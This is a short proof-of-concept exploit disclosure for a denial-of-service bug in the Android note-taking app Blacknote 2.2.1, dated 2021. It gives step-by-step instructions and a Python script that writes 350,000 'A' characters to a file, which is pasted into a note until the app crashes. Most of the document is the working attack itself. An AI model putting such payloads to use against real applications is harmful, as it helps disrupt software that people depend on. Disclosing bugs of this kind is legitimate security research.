# Exploit Title: Blacknote 2.2.1 - Denial of Service (PoC) # Date: 2021-06-02 # Author: Brian Rodríguez # Download Link: https://play.google.com/store/apps/details?id=notepad.note.notas.notes.notizen&hl=es_MX # Version: 2.2.1 # Category: DoS (Android) ##### Vulnerability ##### BlackNote Bloc de notas is vulnerable to a DoS condition when a long list of characters is being used when creating a note: # STEPS # # Open the program. # Create a new Note. # Run the python exploit script payload.py, it will create a new payload.txt file # Copy the content of the file "payload.txt" # Paste the content from payload.txt twice in the new Note. # Crashed Successful exploitation will cause the application to stop working. I have been able to test this exploit against Android 8.0. ##### PoC ##### --> payload.py <-- #!/usr/bin/env python buffer = "\x41" * 350000 try: f = open("payload.txt","w") f.write(buffer) f.close() print ("File created") except: print ("File cannot be created")